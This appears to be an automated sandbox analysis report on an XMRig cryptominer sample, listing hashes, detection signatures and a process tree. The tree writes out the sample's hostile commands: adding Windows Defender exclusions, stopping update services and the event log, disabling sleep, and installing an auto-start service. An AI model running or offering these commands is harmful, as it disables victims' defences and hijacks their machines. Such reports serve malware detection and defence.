Analysis

  • max time kernel
    119s
  • max time network
    108s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-12-2024 15:18

General

  • Target

    9977094f6d16ca8e1ff3706917645e957144204523ed15344ccbbccf7a451874N.exe

  • Size

    5.6MB

  • MD5

    2e48738515a90e8ed1ea8852d708bb90

  • SHA1

    c9e3913850cf8567b64865e398c7cc1181c0b05c

  • SHA256

    9977094f6d16ca8e1ff3706917645e957144204523ed15344ccbbccf7a451874

  • SHA512

    10aac80eb630a86c2a97bec58d20de360e19b68e1b49672d58345942fc9ebe3641680c90f7065b727aa60abc810c0f43b25f2c02b851432ad8a079aff5e3f5e5

  • SSDEEP

    98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9977094f6d16ca8e1ff3706917645e957144204523ed15344ccbbccf7a451874N.exe
    "C:\Users\Admin\AppData\Local\Temp\9977094f6d16ca8e1ff3706917645e957144204523ed15344ccbbccf7a451874N.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1472
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4464
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2108
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:1544
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:3836
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:4444
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:5056
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:4668
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:3612
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3404
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4600
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4128
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3540
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "JVNIRHNX"
        2⤵
        • Launches sc.exe
        PID:5020
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:1660
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:4504
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "JVNIRHNX"
        2⤵
        • Launches sc.exe
        PID:4792
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\9977094f6d16ca8e1ff3706917645e957144204523ed15344ccbbccf7a451874N.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3444
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:2664
      • C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
        C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2512
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4796
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4336
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:4612
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:4920
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:5004
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:2488
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:1140
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:5000
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:2832
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4008
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4720
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3720
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe
            2⤵
              PID:4180
            • C:\Windows\system32\nslookup.exe
              nslookup.exe
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5116

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

            Filesize

            5.6MB

            MD5

            2e48738515a90e8ed1ea8852d708bb90

            SHA1

            c9e3913850cf8567b64865e398c7cc1181c0b05c

            SHA256

            9977094f6d16ca8e1ff3706917645e957144204523ed15344ccbbccf7a451874

            SHA512

            10aac80eb630a86c2a97bec58d20de360e19b68e1b49672d58345942fc9ebe3641680c90f7065b727aa60abc810c0f43b25f2c02b851432ad8a079aff5e3f5e5

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0uizcs3y.omx.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/4180-48-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/4180-50-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/4180-49-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/4180-52-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/4180-51-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/4180-55-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/4464-11-0x00007FFEE6310000-0x00007FFEE6DD1000-memory.dmp

            Filesize

            10.8MB

          • memory/4464-12-0x00007FFEE6310000-0x00007FFEE6DD1000-memory.dmp

            Filesize

            10.8MB

          • memory/4464-15-0x00007FFEE6310000-0x00007FFEE6DD1000-memory.dmp

            Filesize

            10.8MB

          • memory/4464-10-0x00000167FF410000-0x00000167FF432000-memory.dmp

            Filesize

            136KB

          • memory/4464-0-0x00007FFEE6313000-0x00007FFEE6315000-memory.dmp

            Filesize

            8KB

          • memory/4796-40-0x0000010C20FC0000-0x0000010C20FDC000-memory.dmp

            Filesize

            112KB

          • memory/4796-44-0x0000010C20FE0000-0x0000010C20FE6000-memory.dmp

            Filesize

            24KB

          • memory/4796-45-0x0000010C20FF0000-0x0000010C20FFA000-memory.dmp

            Filesize

            40KB

          • memory/4796-43-0x0000010C20FB0000-0x0000010C20FB8000-memory.dmp

            Filesize

            32KB

          • memory/4796-42-0x0000010C21000000-0x0000010C2101A000-memory.dmp

            Filesize

            104KB

          • memory/4796-41-0x0000010C20FA0000-0x0000010C20FAA000-memory.dmp

            Filesize

            40KB

          • memory/4796-39-0x0000010C20B30000-0x0000010C20B3A000-memory.dmp

            Filesize

            40KB

          • memory/4796-38-0x0000010C20DA0000-0x0000010C20E55000-memory.dmp

            Filesize

            724KB

          • memory/4796-37-0x0000010C20D80000-0x0000010C20D9C000-memory.dmp

            Filesize

            112KB

          • memory/5116-58-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-67-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-65-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-62-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-61-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-60-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-57-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-63-0x000002930AF60000-0x000002930AF80000-memory.dmp

            Filesize

            128KB

          • memory/5116-56-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-68-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-66-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-64-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-59-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-69-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-71-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-72-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/5116-73-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB